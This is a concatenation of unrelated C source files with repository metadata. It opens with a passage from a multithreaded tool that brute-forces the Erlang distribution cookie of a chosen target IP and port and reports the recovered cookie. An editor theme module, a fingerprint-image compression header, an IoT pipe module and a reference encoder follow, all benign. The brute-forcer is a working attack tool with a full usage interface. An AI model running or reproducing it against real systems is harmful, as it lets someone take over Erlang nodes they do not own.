ret = read_msg(sd, buffer, sizeof(buffer));
if (ret == 0 || ret == -1) {
fprintf(stderr, "could not receive send_challengen");
quit = 1;
return NULL;
}
if (ret < 11 || buffer[0] != 'n') {
fprintf(stderr, "invalid / unexpected received, while awaiting send_challenge\n");
printf("received :");
hexdump(buffer, ret);
quit = 1;
return NULL;
}
challenge = (buffer[7]<<24) + (buffer[8]<<16) + (buffer[9]<<8) + (buffer[10]<<0);
compute_response(sizeof(cookie), cookie, challenge, (uint8_t *) &send_challenge_reply[7]);
ret = write_exactly(sd, send_challenge_reply, sizeof(send_challenge_reply));
if (ret != sizeof(send_challenge_reply)) {
fprintf(stderr, "could not send complete send_challenge_reply\n");
quit = 1;
return NULL;
}
w->cumulative_seeds += 1;
ret = read_msg(sd, buffer, sizeof(buffer));
if (ret == 17 && buffer[0] == 'a') {
printf("\nfound cookie = %.*s\n", 20, cookie);
quit = 1;
return NULL;
}
failed_handshake:
shutdown(sd, SHUT_RDWR);
close(sd);
if (interconnection_gap) {
usleep(interconnection_gap);
}
}
if (quit)
break;
w->cumulative_prob += w->current_interval->prob;
ret = pthread_barrier_wait(&w->current_interval->barrier);
if (ret != 0 && ret != PTHREAD_BARRIER_SERIAL_THREAD) {
printf("pthread_barrier_wait failed with %m\n");
}
assert(ret == 0 || ret == PTHREAD_BARRIER_SERIAL_THREAD);
if (TAILQ_NEXT(w->current_interval, _next) == NULL)
break;
}
finished += 1;
if (finished == n_workers) {
quit = 1;
}
return NULL;
};
static size_t slurp(const char *file, void **pcontent) {
int fd;
int ret;
struct stat properties;
size_t size, copied;
fd = open(file, O_RDONLY);
assert(fd != -1);
ret = fstat(fd, &properties);
assert(ret == 0);
size = properties.st_size;
*pcontent = malloc(size);
assert(*pcontent != NULL);
for(copied = 0; copied < size;) {
ret = read(fd, *pcontent + copied, size - copied);
assert(ret > 0);
copied += ret;
}
close(fd);
return size;
}
static unsigned long jsontoul(const char *json, jsmntok_t *tok) {
char buffer[64];
char *endptr;
unsigned long val;
assert(tok->end-tok->start+1 <= sizeof(buffer));
memset(buffer, 0, sizeof(buffer));
memcpy(buffer, json + tok->start, tok->end-tok->start);
val = strtoul(buffer, &endptr, 10);
assert(val != ULONG_MAX);
return val;
}
static float jsontof(const char *json, jsmntok_t *tok) {
char buffer[64];
char *endptr;
float val;
assert(tok->end-tok->start+1 <= sizeof(buffer));
memset(buffer, 0, sizeof(buffer));
memcpy(buffer, json + tok->start, tok->end-tok->start);
val = strtof(buffer, &endptr);
assert(val != HUGE_VALF && val != -HUGE_VALF);
return val;
}
static int jsoneq(const char *json, jsmntok_t *tok, const char *s) {
if (tok->type == JSMN_STRING && (int) strlen(s) == tok->end - tok->start &&
strncmp(json + tok->start, s, tok->end - tok->start) == 0) {
return 0;
}
return -1;
}
static void usage(const char *arg0) {
fprintf(stderr, "usage: %s [--threads=<1-1024>] [--gap=<gap to sleep between each handshake for a thread, in microsec>] [--interval=<start>,<stop>,<prob> ...] [--distribution=<json file>] [--seed-full-space] <target IPv4> <target port>\n", arg0);
fprintf(stderr, " --threads=<1-1024>: defaults to 64\n");
fprintf(stderr, " --gap=<amount of microsec to sleep between each handshake attempt>: defaults to 0, no gap\n");
fprintf(stderr, " --interval=<start>,<stop>,<prob>: define a seed interval with the associated probability. It may be used multiple times to define search intervals\n");
fprintf(stderr, " --distribution=<json file>: define a seed distribution. <json file> points a to file containining a JSON array defining interval of the form:\n");
fprintf(stderr, " [{\"start\": 430413359, \"stop\": 431413359, \"prob\": 6.24},...]\n");
fprintf(stderr, " --seed-full-space: perform bruteforce over the whole seed space\n");
exit(1);
}
int main(int argc, char **argv) {
int ret;
int option_index = 0;
int c;
int i;
uint64_t cumulative_conns;
uint64_t last_cumulative_conns = 0;
uint64_t delta_conns;
uint64_t cumulative_seeds;
uint64_t last_cumulative_seeds = 0;
uint64_t delta_seeds;
uint64_t cumulative_fails;
uint64_t last_cumulative_fails = 0;
uint64_t delta_fails;
uint64_t total_seeds = 0;
struct interval *new_interval;
float cumulative_prob;
jsmn_parser p;
jsmntok_t tokens[1024];
void *content;
size_t size;
uint64_t start, stop;
float prob;
struct interval *interval;
char full_space[] = "0,68719476735,100.0";
TAILQ_INIT(&intervals);
static struct option options[] = {
{"gap", required_argument, 0, 'g'},
{"help", 0, 0, 'h'},
{"threads", required_argument, 0, 't'},
{"interval", required_argument, 0, 'i'},
{"distribution", required_argument, 0, 'd'},
{"seed-full-space", 0, 0, 's'},
{NULL, 0, 0, 0},
};
while (1) {
c = getopt_long(argc, argv, "hst:g:i:d:", options, &option_index);
if (c == -1) {
break;
}
switch (c) {
case 't':
n_workers = atoi(optarg);
break;
default:
break;
}
}
if (n_workers <= 0 || n_workers > 1024) {
fprintf(stderr, "please provide a valid number of workers\n");
exit(1);
}
printf("bruteforce using %d concurrent threads\n", n_workers);
/* we need to parse the number of threads first */
/* hence, we first parse options, using only -t */
/* and next, we parse all other options */
optind = 0;
option_index = 0;
while (1) {
c = getopt_long(argc, argv, "hst:g:i:d:", options, &option_index);
if (c == -1) {
break;
}
switch (c) {
case 'g':
interconnection_gap = atoi(optarg);
break;
case 'h':
usage(argv[0]);
break;
case 't':
break;
case 's':
TAILQ_INIT(&intervals);
new_interval = parse_interval(full_space);
if (new_interval) {
TAILQ_INSERT_TAIL(&intervals, new_interval, _next);
}
break;
case 'd':
TAILQ_INIT(&intervals);
size = slurp(optarg, &content);
if (size <= 0 || content == NULL) {
fprintf(stderr, "failed to parse distribution file '%s'\n", optarg);
usage(argv[0]);
}
jsmn_init(&p);
ret = jsmn_parse(&p, content, size, tokens, sizeof(tokens)/sizeof(tokens[0]));
if (ret < 0) {
fprintf(stderr, "failed to parse distribution file '%s'\n", optarg);
usage(argv[0]);
}
if (ret < 1 || tokens[0].type != JSMN_ARRAY) {
fprintf(stderr, "distribution file '%s' shall contain an array\n", optarg);
usage(argv[0]);
}
for (i = 1; i < ret;) {
assert(i+6 < ret);
assert(tokens[i].type == JSMN_OBJECT);
assert(jsoneq(content, &tokens[i+1], "start") == 0);
assert(tokens[i+2].type == JSMN_PRIMITIVE);
start = jsontoul(content, &tokens[i+2]);
assert(jsoneq(content, &tokens[i+3], "stop") == 0);
assert(tokens[i+4].type == JSMN_PRIMITIVE);
stop = jsontoul(content, &tokens[i+4]);
assert(jsoneq(content, &tokens[i+5], "prob") == 0);
assert(tokens[i+6].type == JSMN_PRIMITIVE);
prob = jsontof(content, &tokens[i+6]);
new_interval = create_interval(start, stop, prob);
TAILQ_INSERT_TAIL(&intervals, new_interval, _next);
i += 7;
}
free(content);
break;
case 'i':
new_interval = parse_interval(optarg);
if (new_interval) {
TAILQ_INSERT_HEAD(&intervals, new_interval, _next);
}
else {
usage(argv[0]);
}
break;
}
}
if (optind + 2 != argc) {
fprintf(stderr, "please, specify a target ip and a target port.\n");
usage(argv[0]);
}
target = argv[optind];
port = atoi(argv[optind+1]);
TAILQ_FOREACH(interval, &intervals, _next) {
total_seeds += interval->stop - interval->start + 1;
}
printf("Erlang distribution cookie bruteforce is starting, sweeping through %d seed intervals\n", n_intervals);
workers = calloc(n_workers, sizeof(*workers));
assert(workers != NULL);
for (i = 0; i < n_workers; i++) {
workers[i].index = i;
workers[i].current_interval = TAILQ_FIRST(&intervals);
workers[i].cumulative_conns = 0;
workers[i].cumulative_seeds = 0;
workers[i].cumulative_fails = 0;
ret = pthread_create(&workers[i].tid, NULL, worker_run, &workers[i]);
assert(ret == 0);
}
while (!quit) {
sleep(1);
cumulative_conns = 0;
for (i = 0; i < n_workers; i++) {
cumulative_conns += workers[i].cumulative_conns;
}
delta_conns = cumulative_conns - last_cumulative_conns;
last_cumulative_conns = cumulative_conns;
cumulative_seeds = 0;
for (i = 0; i < n_workers; i++) {
cumulative_seeds += workers[i].cumulative_seeds;
}
delta_seeds = cumulative_seeds - last_cumulative_seeds;
last_cumulative_seeds = cumulative_seeds;
cumulative_fails = 0;
for (i = 0; i < n_workers; i++) {
cumulative_fails += workers[i].cumulative_fails;
}
delta_fails = cumulative_fails - last_cumulative_fails;
last_cumulative_fails = cumulative_fails;
cumulative_prob = 0.0;
for (i = 0; i < n_workers; i++) {
cumulative_prob += workers[i].cumulative_prob;
}
cumulative_prob /= n_workers;
printf("\r %" PRIu64 " seed/s (%" PRIu64 " conn/s, %" PRIu64 " fails/s)\t\t%2.5f%% (%d/%d)", delta_seeds, delta_conns, delta_fails,\
(100.0*cumulative_seeds)/total_seeds, workers[0].current_interval->index_interval+1, n_intervals);
fflush(stdout);
if (quit)
break;
}
printf("\n");
for (i = 0; i < n_workers; i++) {
pthread_join(workers[i].tid, NULL);
}
free(workers);
}
| 2.234375 | 2 |
2024-11-18T19:49:22.959949+00:00 | 2022-10-08T17:37:09 | 33f7f3778b19b5fa72087dadd24e808f6e34fd9b | {
"blob_id": "33f7f3778b19b5fa72087dadd24e808f6e34fd9b",
"branch_name": "refs/heads/master",
"committer_date": "2022-10-08T17:37:09",
"content_id": "9e5459532a9c8250054f0ee81fd987d81cb053ab",
"detected_licenses": [
"ISC"
],
"directory_id": "c4b4d7e65d5931e4e7836149cd0696f02b24b6dc",
"extension": "c",
"filename": "theme.c",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 143736583,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 2934,
"license": "ISC",
"license_type": "permissive",
"path": "/old/theme.c",
"provenance": "stackv2-0027.json.gz:222861",
"repo_name": "csijh/snipe",
"revision_date": "2022-10-08T17:37:09",
"revision_id": "394b53bf2f1bb09bfe02fe9164731505cf1880bc",
"snapshot_id": "077afdb5040647adddaa28171432393073deb90a",
"src_encoding": "UTF-8",
"star_events_count": 5,
"url": "https://raw.githubusercontent.com/csijh/snipe/394b53bf2f1bb09bfe02fe9164731505cf1880bc/old/theme.c",
"visit_date": "2022-10-16T10:19:22.485836"
} | stackv2 | // The Snipe editor is free and open source, see licence.txt.
#include "theme.h"
#include "style.h"
#include "setting.h"
#include "file.h"
#include "string.h"
#include <stdio.h>
#include <stdlib.h>
#include <ctype.h>
#include <assert.h>
// A colour holds RGBA data.
struct colour { unsigned char r, g, b, a; };
// A theme holds the list of names of theme files, and the current colour table.
struct theme {
strings *names;
int index;
colour table[COUNT_STYLES];
};
// Add a string to a list.
static void add(strings *xs, char *s) {
int n = length(xs);
resize(xs, n + 1);
S(xs)[n] = s;
}
theme *newTheme() {
theme *t = malloc(sizeof(theme));
t->names = newStrings();
for (int i = 0; ; i++) {
char *name = getThemeFile(i);
if (name == NULL) break;
add(t->names, name);
}
t->index = length(t->names) - 1;
nextTheme(t);
return t;
}
void freeTheme(theme *t) {
freeList(t->names);
free(t);
}
// Convert two hex characters into a byte.
static unsigned char hexByte(char *s) {
char hex[] = "??";
hex[0] = s[0];
hex[1] = s[1];
return (unsigned char)strtol(hex, NULL, 16);
}
void nextTheme(theme *t) {
t->index = (t->index + 1) % length(t->names);
char *filename = S(t->names)[t->index];
char *path = resourcePath("", filename, "");
char *content = readPath(path);
free(path);
normalize(content);
strings *lines = splitLines(content);
for (int s = 0; s < COUNT_STYLES; s++) t->table[s].a = 0;
for (int i = 0; i < length(lines); i++) {
char *line = S(lines)[i];
if (! isalpha(line[0])) continue;
strings *words = splitWords(line);
char *styleName = S(words)[0];
char *hexString = S(words)[1];
int s = (int) findStyle(styleName);
t->table[s].r = hexByte(&hexString[1]);
t->table[s].g = hexByte(&hexString[3]);
t->table[s].b = hexByte(&hexString[5]);
t->table[s].a = 0xff;
freeList(words);
}
freeList(lines);
free(content);
for (int s = 1; s < COUNT_STYLES; s++) {
if (t->table[s].a != 0xff) t->table[s] = t->table[s - 1];
}
}
extern inline colour *findColour(theme *t, char style) {
colour *c = &t->table[(int)style];
if (c->a == 0) c = &t->table[(int)styleDefault(style)];
return c;
}
extern inline unsigned char red(colour *c) { return c->r; }
extern inline unsigned char green(colour *c) { return c->g; }
extern inline unsigned char blue(colour *c) { return c->b; }
extern inline unsigned char opacity(colour *c) { return c->a; }
#ifdef themeTest
int main(int n, char const *args[]) {
setbuf(stdout, NULL);
findResources(args[0]);
theme *t = newTheme();
colour *bg = &t->table[GAP];
assert(bg->a == 0xff);
int oldr = bg->r;
nextTheme(t);
assert(bg->r != oldr);
freeTheme(t);
printf("Theme module OK\n");
return 0;
}
#endif
| 2.84375 | 3 |
2024-11-18T19:49:40.175562+00:00 | 2020-07-27T07:02:04 | 5605b677e67e4a589c84cbd63f354f341d198914 | {
"blob_id": "5605b677e67e4a589c84cbd63f354f341d198914",
"branch_name": "refs/heads/master",
"committer_date": "2020-07-27T07:02:04",
"content_id": "3ee062ad599a59a2314561fe0699489a23c4a54d",
"detected_licenses": [
"Apache-2.0"
],
"directory_id": "36e11d2c7c45b556f8338029bcfde58a032ba6d4",
"extension": "h",
"filename": "dpfj_compression.h",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 282810001,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 10765,
"license": "Apache-2.0",
"license_type": "permissive",
"path": "/lib/Crossmatch/urusdk-linux/Include/dpfj_compression.h",
"provenance": "stackv2-0027.json.gz:223119",
"repo_name": "binhnt74/kioskserver",
"revision_date": "2020-07-27T07:02:04",
"revision_id": "51bd3bc07d054116884fa200a94047ddd6f7b99b",
"snapshot_id": "93a3c9740c7f1119abd51f7522cadb08247ebcd1",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/binhnt74/kioskserver/51bd3bc07d054116884fa200a94047ddd6f7b99b/lib/Crossmatch/urusdk-linux/Include/dpfj_compression.h",
"visit_date": "2022-11-19T21:32:16.512756"
} | stackv2 | /**
\file dpfj_compression.h
\copyright (c) 2012 DigitalPersona, Inc
\brief U.are.U SDK Image Compression API
Data types and functions for compression.
\version 2.0.0
*/
#ifndef __DPFJ_COMPRESSION_H__
#define __DPFJ_COMPRESSION_H__
#include <dpfj.h>
/**
\brief Compression or decompression operation is in progress.
*/
#define DPFJ_E_COMPRESSION_IN_PROGRESS DPERROR(0x141)
/**
\brief Compression or decompression operation was not started.
*/
#define DPFJ_E_COMPRESSION_NOT_STARTED DPERROR(0x142)
/**
\brief One or more parameters passed for WSQ compression are invalid.
*/
#define DPFJ_E_COMPRESSION_INVALID_WSQ_PARAMETER DPERROR(0x14a)
/**
\brief Unspecified error during WSQ compression or decompression.
*/
#define DPFJ_E_COMPRESSION_WSQ_FAILURE DPERROR(0x14b)
/**
\brief Library for WSQ compression is not found or not built-in.
*/
#define DPFJ_E_COMPRESSION_WSQ_LIB_NOT_FOUND DPERROR(0x14c)
/**
\brief Compression algorithm to use.
*/
typedef int DPFJ_COMPRESSION_ALGORITHM;
#define DPFJ_COMPRESSION_WSQ_NIST 1 /**< WSQ compression, NIST algorithm */
#define DPFJ_COMPRESSION_WSQ_AWARE 2 /**< WSQ compression, Aware SDK */
/****************************************************************************************************
API calls
****************************************************************************************************/
#ifdef __cplusplus
extern "C" {
#endif /* __cplusplus */
/**
\brief Starts compression or decompression operation.
\return DPFJ_SUCCESS: Operation started.
\return DPFJ_E_COMPRESSION_IN_PROGRESS: Another operation is in progress.
\return DPFJ_E_FAILURE: Unknown error.
*/
int DPAPICALL dpfj_start_compression();
/**
\brief Sets target bitrate and tolerance for WSQ compression operation.
\param bitrate_x100 Requested bitrate multiplied by 100. For example, to request bitrate of 4.19, pass 419.
\param tolerance_aw Sets tolerance in percents for the Aware WSQ compression. Range is 1 to 100. For NIST algorithm this parameter will be ignored.
\return DPFJ_SUCCESS: Bitrate and tolerance are set.
\return DPFJ_E_COMPRESSION_NOT_STARTED: Operation is not started.
\return DPFJ_E_COMPRESSION_INVALID_WSQ_PARAMETER: One or more parameters passed are invalid.
\return DPFJ_E_FAILURE: Unknown error.
*/
int DPAPICALL dpfj_set_wsq_bitrate(
unsigned int bitrate_x100, /**< bitrate multiplied by 100 */
unsigned int tolerance_aw /**< when using Aware WSQ compression */
);
/**
\brief Sets target size and tolerance for WSQ compression operation.
\param size Requested size of compressed image.
\param tolerance_aw Sets tolerance in percents for the Aware WSQ compression. Range is 1 to 100. For NIST algorithm this parameter will be ignored.
\return DPFJ_SUCCESS: Size and tolerance are set.
\return DPFJ_E_COMPRESSION_NOT_STARTED: Operation is not started.
\return DPFJ_E_COMPRESSION_INVALID_WSQ_PARAMETER: One or more parameters passed are invalid.
\return DPFJ_E_FAILURE: Unknown error.
*/
int DPAPICALL dpfj_set_wsq_size(
unsigned int size, /**< size of compressed image */
unsigned int tolerance_aw /**< when using Aware WSQ compression */
);
/**
\brief Compresses FID.
This function attempts to compress FID using Aware WSQ library (WSQ1000) or NIST algorithm. It's necessary to set target bitrate or
target size before calling dpfj_compress_fid(). The function will allocate memory for the compressed FID. The resulting size of the
compressed FID can be acquired by calling dpfj_get_processed_size(). The resulting size likely will differ from the requested size, or bitrate.
How much the difference will be is dictated by the image, requested size or bitrate and tolerance (only for Aware algorithm).
\param fid_type type of the FID.
\param fid pointer to the FID data.
\param fid_size size of the FID data.
\param compression_alg compression algorithm to use, currently Aware WSQ and NIST WSQ algorithms are supported.
\return DPFJ_SUCCESS: FID compressed.
\return DPFJ_E_COMPRESSION_NOT_STARTED: Operation is not started.
\return DPFJ_E_COMPRESSION_INVALID_WSQ_PARAMETER: One or more parameters passed are invalid, or one or more parameters set for the operation are invalid.
\return DPFJ_E_COMPRESSION_WSQ_LIB_NOT_FOUND: Aware WSQ library is not found, or NIST WSQ algorithm is not built-in.
\return DPFJ_E_COMPRESSION_WSQ_FAILURE: Unknown error.
*/
int DPAPICALL dpfj_compress_fid(
DPFJ_FID_FORMAT fid_type,
const unsigned char* fid,
unsigned int fid_size,
DPFJ_COMPRESSION_ALGORITHM compression_alg
);
/**
\brief Compresses raw image.
This function attempts to compress image using Aware WSQ library (WSQ1000) or NIST algorithm. It's necessary to set target bitrate or
target size before calling dpfj_compress_raw(). The function will allocate memory for the compressed image. The resulting size of the
compressed image can be acquired by calling dpfj_get_processed_size(). The resulting size likely will differ from the requested size, or bitrate.
How much the difference will be is dictated by the image, requested size or bitrate and tolerance (only for Aware algorithm).
\param image_data pointer to the image data
\param image_size size of the image data
\param image_width width of the image
\param image_height height of the image
\param image_dpi resolution of the image
\param image_bpp pixel depth of the image. Only 8bpp images are currently processed.
\param compression_alg compression algorithm to use, currently Aware WSQ and NIST WSQ algorithms are supported.
\return DPFJ_SUCCESS: Image compressed.
\return DPFJ_E_COMPRESSION_NOT_STARTED: Operation is not started.
\return DPFJ_E_COMPRESSION_INVALID_WSQ_PARAMETER: One or more parameters passed are invalid, or one or more parameters set for the operation are invalid.
\return DPFJ_E_COMPRESSION_WSQ_LIB_NOT_FOUND: Aware WSQ library is not found, or NIST WSQ algorithm is not built-in.
\return DPFJ_E_COMPRESSION_WSQ_FAILURE: Unknown error.
*/
int DPAPICALL dpfj_compress_raw(
const unsigned char* image_data,
unsigned int image_size,
unsigned int image_width,
unsigned int image_height,
unsigned int image_dpi,
unsigned int image_bpp,
DPFJ_COMPRESSION_ALGORITHM compression_alg
);
/**
\brief Expands compressed FID.
This function attempts to expand FID using Aware WSQ library (WSQ1000) or NIST algorithm. The function will allocate memory for the
expanded FID. The resulting size of the expanded FID can be acquired by calling dpfj_get_processed_size().
\param fid_type type of the compressed FID.
\param fid pointer to the FID data.
\param fid_size size of the FID data.
\param compression_alg compression algorithm to use, currently Aware WSQ and NIST WSQ algorithms are supported.
\return DPFJ_SUCCESS: FID expanded.
\return DPFJ_E_COMPRESSION_NOT_STARTED: Operation is not started.
\return DPFJ_E_COMPRESSION_INVALID_WSQ_PARAMETER: One or more parameters passed are invalid.
\return DPFJ_E_COMPRESSION_WSQ_LIB_NOT_FOUND: Aware WSQ library is not found, or NIST WSQ algorithm is not built-in.
\return DPFJ_E_COMPRESSION_WSQ_FAILURE: Unknown error.
*/
int DPAPICALL dpfj_expand_fid(
DPFJ_FID_FORMAT fid_type,
const unsigned char* fid,
unsigned int fid_size,
DPFJ_COMPRESSION_ALGORITHM compression_alg
);
/**
\brief Expands compressed raw image.
This function attempts to expand FID using Aware WSQ library (WSQ1000) or NIST algorithm. The function will allocate memory for the
expanded FID. The resulting size of the expanded FID can be acquired by calling dpfj_get_processed_size().
\param image_data pointer to the compressed image data
\param image_size size of the image data
\param compression_alg compression algorithm to use, currently Aware WSQ and NIST WSQ algorithms are supported.
\param image_width pointer to receive width of the image
\param image_height pointer to receive height of the image
\param image_dpi pointer to receive resolution of the image
\param image_bpp pointer to receive pixel depth of the image. Only 8bpp images are currently processed.
\return DPFJ_SUCCESS: Image expanded.
\return DPFJ_E_COMPRESSION_NOT_STARTED: Operation is not started.
\return DPFJ_E_COMPRESSION_INVALID_WSQ_PARAMETER: One or more parameters passed are invalid.
\return DPFJ_E_COMPRESSION_WSQ_LIB_NOT_FOUND: Aware WSQ library is not found, or NIST WSQ algorithm is not built-in.
\return DPFJ_E_COMPRESSION_WSQ_FAILURE: Unknown error.
*/
int DPAPICALL dpfj_expand_raw(
const unsigned char* image_data,
unsigned int image_size,
DPFJ_COMPRESSION_ALGORITHM compression_alg,
unsigned int* image_width,
unsigned int* image_height,
unsigned int* image_dpi,
unsigned int* image_bpp
);
/**
\brief Returns the processed data.
Application must determine the size of the data by calling dpfj_get_processed_data() and allocate memory to receive processed data.
\param image_data pointer to the allocated memory for the processed data
\param image_size size of the allocated memory
\return DPFJ_SUCCESS: Processed data copied.
\return DPFJ_E_COMPRESSION_NOT_STARTED: Operation is not started.
\return DPFJ_E_MORE_DATA: Allocated memory is not sufficient. The required memory size is in the image_size.
\return DPFJ_E_COMPRESSION_INVALID_WSQ_PARAMETER: One or more parameters passed are invalid.
\return DPFJ_E_COMPRESSION_WSQ_FAILURE: Unknown error.
*/
int DPAPICALL dpfj_get_processed_data(
unsigned char* image_data,
unsigned int* image_size
);
/**
\brief Ends compression or decompression operation, releases memory.
This function releases resources used during the enrollment process. Call after enrollment is complete.
\return DPFJ_SUCCESS: Operation ended.
\return DPFJ_E_FAILURE: Unknown error.
*/
int DPAPICALL dpfj_finish_compression();
#ifdef __cplusplus
}
#endif /* __cplusplus */
#endif /* __DPFJ_COMPRESSION_H__ */
| 2.09375 | 2 |
2024-11-18T19:49:41.838850+00:00 | 2021-06-02T02:00:29 | 3c4c15281a95e86b2f58d2f3b2b3c35d71fcccf9 | {
"blob_id": "3c4c15281a95e86b2f58d2f3b2b3c35d71fcccf9",
"branch_name": "refs/heads/master",
"committer_date": "2021-06-02T02:00:29",
"content_id": "fb7a1dc56c253d3b14b56d1758f119ef676217cf",
"detected_licenses": [
"MIT"
],
"directory_id": "9efc2b09e77472e42b0d2d01fd32e58d0745cf6a",
"extension": "c",
"filename": "tziotpipe.c",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 363361355,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 4042,
"license": "MIT",
"license_type": "permissive",
"path": "/tziotpipe.c",
"provenance": "stackv2-0027.json.gz:223248",
"repo_name": "jdhxyy/tziot-clang",
"revision_date": "2021-06-02T02:00:29",
"revision_id": "bd6eb67c6b2278cceff604eaa6700fc50e16be6a",
"snapshot_id": "81ad8a5b2a59e78898894994cb60d322f6f77900",
"src_encoding": "GB18030",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/jdhxyy/tziot-clang/bd6eb67c6b2278cceff604eaa6700fc50e16be6a/tziotpipe.c",
"visit_date": "2023-08-15T02:56:05.447862"
} | stackv2 | // Copyright 2021-2021 The jdh99 Authors. All rights reserved.
// 管道操作
// Authors: jdh99 <[email protected]>
#include "tziotpipe.h"
#include "tziot.h"
#include "tziotconfig.h"
#include "tziotstandardlayer.h"
#include "tzlist.h"
#include "tzmalloc.h"
#include "lagan.h"
#include "tzbox.h"
#include "tzaccess.h"
#include "tztype.h"
#include <string.h>
#define PIPE_CORE 1
#pragma pack(1)
typedef struct {
uint64_t pipe;
TZDataFunc send;
TZIsAllowSendFunc isAllowSend;
} tItem;
#pragma pack()
static intptr_t list = 0;
static TZAccessSendFunc corePipeSend = NULL;
static TZIsAllowSendFunc corePipeIsAllowSend = NULL;
static TZListNode* createNode(void);
static uint64_t getPipeNum(void);
static tItem* getItem(uint64_t pipe);
// TZIotPipeInit 初始化
void TZIotPipeInit(void) {
list = TZListCreateList(TZIotMid);
if (list == 0) {
LE(TZIOT_TAG, "bind pipe failed!create list failed");
}
}
// TZIotBindPipeCore 绑定核心网管道.绑定成功后返回管道号,管道号如果是0表示绑定失败
// 注意:核心网管道只能绑定一个
uint64_t TZIotBindPipeCore(TZAccessSendFunc send, TZIsAllowSendFunc isAllowSend) {
corePipeSend = send;
corePipeIsAllowSend = isAllowSend;
TZAccessLoad(TZIotGetLocalIA(), TZIotGetLocalPwd(), send, isAllowSend);
return PIPE_CORE;
}
// TZIotPipeCoreReceive 核心网管道接收.pipe是接收管道号
// srcIP是源IP地址,4字节数组.srcPort是源端口号
// 用户在管道中接收到数据时需回调本函数
void TZIotPipeCoreReceive(uint8_t* data, int size, uint8_t* srcIP, uint16_t srcPort) {
TZAccessReceive(data, size, srcIP, srcPort);
if (TZAccessIsConn()) {
TZIotStandardLayerRx(PIPE_CORE, data, size);
}
}
// TZIotBindPipe 绑定管道.绑定成功后返回管道号,管道号如果是0表示绑定失败
uint64_t TZIotBindPipe(TZDataFunc send, TZIsAllowSendFunc isAllowSend) {
TZListNode* node = createNode();
if (node == NULL) {
LE(TZIOT_TAG, "bind pipe failed!create node failed");
return 0;
}
tItem* item = (tItem*)node->Data;
item->pipe = getPipeNum();
item->send = send;
item->isAllowSend = isAllowSend;
TZListAppend(list, node);
return item->pipe;
}
static TZListNode* createNode(void) {
TZListNode* node = TZListCreateNode(list);
if (node == NULL) {
return NULL;
}
node->Data = TZMalloc(TZIotMid, sizeof(tItem));
if (node->Data == NULL) {
TZFree(node);
return NULL;
}
return node;
}
static uint64_t getPipeNum(void) {
static uint64_t pipeNum = PIPE_CORE;
pipeNum++;
return pipeNum;
}
// TZIotPipeReceive 管道接收.pipe是接收管道号
// 用户在管道中接收到数据时需回调本函数
void TZIotPipeReceive(uint64_t pipe, uint8_t* data, int size) {
TZIotStandardLayerRx(pipe, data, size);
}
// TZIotPipeIsAllowSend 管道是否允许发送
bool TZIotPipeIsAllowSend(uint64_t pipe) {
if (TZAccessIsConn() == false) {
return false;
}
if (pipe == PIPE_CORE) {
return corePipeIsAllowSend();
}
tItem* item = getItem(pipe);
if (item == NULL) {
return false;
}
return item->isAllowSend();
}
static tItem* getItem(uint64_t pipe) {
TZListNode* node = TZListGetHeader(list);
tItem* item = NULL;
for (;;) {
if (node == NULL) {
break;
}
item = (tItem*)node->Data;
if (item->pipe == pipe) {
return item;
}
node = node->Next;
}
return NULL;
}
// TZIotPipeSend 管道发送
void TZIotPipeSend(uint64_t pipe, uint8_t* data, int size) {
if (pipe == PIPE_CORE) {
uint8_t ip[4] = {0};
uint16_t port = 0;
TZAccessGetParentAddr(ip, &port);
if (port == 0) {
return;
}
corePipeSend(data, size, ip, port);
return;
}
tItem* item = getItem(pipe);
if (item == NULL) {
return;
}
item->send(data, size);
}
| 2.453125 | 2 |
2024-11-18T19:49:41.913679+00:00 | 2015-09-19T11:42:51 | 4a3f9c1914ade141dab926807a17a5a44906c102 | {
"blob_id": "4a3f9c1914ade141dab926807a17a5a44906c102",
"branch_name": "refs/heads/master",
"committer_date": "2015-09-19T11:42:51",
"content_id": "939527397c17c50b1861dccdeb34eaa63e3ecb2a",
"detected_licenses": [
"Apache-2.0"
],
"directory_id": "d7d3e71895c02a7a9af0960a0c7f16d9e804a816",
"extension": "c",
"filename": "pref.c",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": null,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 6523,
"license": "Apache-2.0",
"license_type": "permissive",
"path": "/experiments/ref_encoders/pref_dis/pref.c",
"provenance": "stackv2-0027.json.gz:223376",
"repo_name": "pombredanne/pulp_db",
"revision_date": "2015-09-19T11:42:51",
"revision_id": "97f4af562901167a6fc05c9cc4fd4a86f01b97d8",
"snapshot_id": "318c41a30c59d124c20a299c8e058f700e56f44a",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/pombredanne/pulp_db/97f4af562901167a6fc05c9cc4fd4a86f01b97d8/experiments/ref_encoders/pref_dis/pref.c",
"visit_date": "2020-04-06T06:22:04.225972"
} | stackv2 | #include <stdio.h>
#include <stdarg.h>
#include <stdbool.h>
#include <string.h>
#include <stdlib.h>
#include "pref.h"
static signed long long new_page(struct pref__obj *const p, char **page_pp);
static signed long long new_page(struct pref__obj *const p, char **page_pp)
{
*page_pp = mmbuf__alloc(p->ref_file, PAGE_SIZE);
signed long long old_offset = p->offset;
p->offset += PAGE_SIZE;
return (old_offset);
}
static int flush_buffer(struct pref__obj *p, struct pref__buffer *buf);
static int flush_buffer(struct pref__obj *p, struct pref__buffer *buf)
{
if (buf->refs_index < 0)
return 1;
if (buf->refs_index<NUM_REF_PER_PAGE)
{
for (int i=buf->refs_index; i<NUM_REF_PER_PAGE; ++i)
{
buf->refs[i] = -1;
}
}
char *new_page_p;
signed long long new_offset = new_page(p, &new_page_p);
buf->refs[NEXT_PAGE_INDEX] = new_offset;
buf->refs = (signed long long *) new_page_p;
buf->current_page_offset = new_offset;
buf->refs_index = 0;
return 0;
}
static int final_flush_buffer(struct pref__obj *p, struct pref__buffer *buf);
